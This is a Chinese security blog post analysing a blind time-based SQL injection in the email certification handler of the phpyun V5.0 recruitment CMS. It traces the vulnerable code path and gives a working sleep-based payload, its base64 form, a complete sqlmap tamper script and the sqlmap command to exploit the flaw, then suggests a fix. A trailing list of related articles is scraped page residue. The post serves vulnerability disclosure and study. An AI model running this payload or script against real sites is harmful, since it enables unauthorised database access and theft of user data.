php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析
*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做*
cms背景介绍
PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发。
漏洞类型
前台SQL盲注
漏洞描述
Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入。其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生。
漏洞产生链分析:
漏洞产生点位于 app\controller\qqconnect\index.class.php的cert_action函数
可以看到此函数开头将GET取得的结果经过base64_decode函数解码后分割引入 $arr数组中,此时可以绕过全局过滤,代表此处可以控制$arr[3]的值。再往下看:
此时可以看到,由于$arr[3]的值可控,所以导致$data的 email参数可控,并且引入upCertInfo函数的email参数可控。在跟进 upCertInfo函数:
可以看到在此函数中$data以及$whereData参数未经任何过滤又将其引入 upCertEmail函数,继续跟进:
可以看到此函数同样未对data数组中的参数未经过任何过滤,此时$email变量可控并将其引入 getCertInfo函数中,继续跟进:
可以看到又将可控数据引入 select_once函数中,此时$whereData中的check可控,继续跟进:
此函数中可以看到,将拥有可控数据的$where引入checkWhere 函数(篇幅问题,代码不贴了),其函数为判断是否有limit,orderby ,orderbyfield,groupby,having 等等,并将其参数修改为`email` = $email这种格式,并且还是未对其中参数做任何过滤。
现在基本确定存在SQL注入漏洞,此时只需本地复现即可。首先查看phpyun的路由调度。
可以看到module名为$_GET[‘m’]的值,所以此处 m的值应该为 qqconnect
控制器为C ,函数为A。由于qqconnect模块下的控制器名为 index.class.php所以c为index 。由于函数名为cert_action,所以a为 cert。
漏洞利用条件
一、首先数据库phpyun_member表中必须有用户(可以自行注册,由于该系统是招聘系统,所以不存在无法注册的问题)
二、由于db.safety.php中对传入数据的限制,通过GET传入的数据最大为80个字符,并且还是经过base64加密的。所以payload应该只有56个字符左右的限制,有大佬的话可以尝试尝试更进一步的利用。
三、phpyun_company_cert表中必须有数据,否则SQL 注入无法成功。
漏洞本地复现
设置payload为:2|||‘or (if(true,sleep(5),1));#
将payload通过base64加密: Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA=
可以看到响应时间为5082millis。约为5秒。 SQL注入复现成功。
使用SQLMAP进行注入
首先要使用SQLMAP进行注入验证需要编写SQLMAP脚本辅助。观察payload,发现要将sqlmap中测试需要的payload前面添加 2||| 。并且将添加数据后的payload进行base64编码。
编写脚本:phpyun.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""
import base64
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" phpyun payload
>>> tamper("1‘ AND SLEEP(5)#")
‘MScgQU5EIFNMRUVQKDUpIw==‘
"""
payload = "2|||"+payload #给payload添加我们需要的数据
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload #对新payload进行加密
将此脚本放入tamper文件夹中便可使用。
SQLMAP命令 :python sqlmap.py -u "http://target.com/?m=qqconnect&c=index&a=cert&id=1" -p "id" --tamper="tamper/phpyun.py" --technique T -v 3 --dbms "mysql" --risk 3
注:sqlmap参数必须设置 --risk 等级为3。由于风险等级默认为1,payload使用and逻辑判断,会导致sql注入检测失败。将风险等级设置为3时,payload会使用OR逻辑判断。所以此处必须设置。(风险等级为3的情况下,谨慎测试upload的SQL语句。)
漏洞修复方案
建议对app\controller\qqconnect\index.class.php的cert_action 函数中的$arr[3]使用CheckRegEmail函数检测。具体修复方法等待官方补丁phpyun官方网站
php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析相关推荐
- php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...
- WeiPHP5.0 SQL注入漏洞1
本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景.如因涉嫌违法造成的一切不良影响,本文作者概不负责 ...
- wordpress漏洞_多个WordPress插件SQL注入漏洞分析
背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...
- /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -
DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...
- 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞
文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...
- PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5 import requests import time import re import sysdef banner():msg = '''--------------EXP ...
- 最新dotCMS SQL注入漏洞 攻击者可获得敏感数据 绿盟科技发布安全威胁通告
dotCMS 3.6.2以下版本可能存在SQL注入漏洞 ,绿盟科技发布<dotCMS SQL注入漏洞安全威胁通告>,通告全文如下 2017年2月15日,seclists.org网站发布了关 ...
- 拿到一个网站,怎么判断该网站是否存在sql注入漏洞?
漏洞挖掘 漏洞利用 修复漏洞 sql注入漏洞.文件操作漏洞.xss.rce.逻辑漏洞 反序列化.... sql注入漏洞: 网站的数据库 脱裤 拖取网站数据库 数据库基础: 数据库基本结构:数据库 -- ...
- 宏景eHR SQL注入漏洞复现(CNVD-2023-08743)
0x01 产品简介 宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合,满足动态化.协同化.流程化.战略化需求的软件. 0x02 漏洞概述 宏景eHR 存在SQL注入漏洞,未经过身份认证的 ...
最新文章
- 【C】数组数组初始化总结
- 05-自己创建mapmodel自定义迁移方式
- Spring Boot 学习系列(02)—使用热部署,提升开发效
- 阿里云ECS——[您的云服务器(xxx.xxx.xxx.xxx)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问]解决方案
- 关 于 正 则 表 达 式 的 类 习 题
- 知乎上这个程序员火了,竟是因为给老板修了一 次U盘
- Python知识整理_1
- Jaxb2 转换XML文档
- 【渝粤教育】国家开放大学2018年春季 7392-21FMatlab语言及其应用 参考试题
- ArcMAP 空间连接和相交工具使用
- Win11系统开启控制面板会闪退怎么解决?
- 胶囊神经网络模型简介_胶囊网络简介
- 小水智能-智能楼宇智慧建筑3d可视化,让钢铁水泥也可以沟通交流
- XPath之电影天堂数据爬取
- 复变函数题目(持续更新)
- MATLAB学习系列--绘制函数曲线
- 基于C++的一元多项式相加
- C++中的new和delete运算符(内存管理)
- java毕业设计二次元信息分享平台mybatis+源码+调试部署+系统+数据库+lw
- Ubuntu系统怎么进入grub界面
热门文章
- 查询出部门编号为30的所有销售的详细信息
- ABP +VUE Elment 通用高级查询(右键菜单)设计+LINQ通用类Expression<Func<TFields, bool>>方法
- 群体智能算法可投稿期刊
- 服务器被黑该如何查找入侵、攻击痕迹
- 超强:Windows正版增值验证工具(KB892130)对付办法
- 华为手机7个超实用的功能,关键时刻帮你大忙,赶紧开启吧!
- 夜幕降临,一起探讨awk编辑器
- USB接口、USB接法、USB延长线
- javascript Wscript.Shell
- php编写文件管理工具,php之markdown文档管理工具的实现代码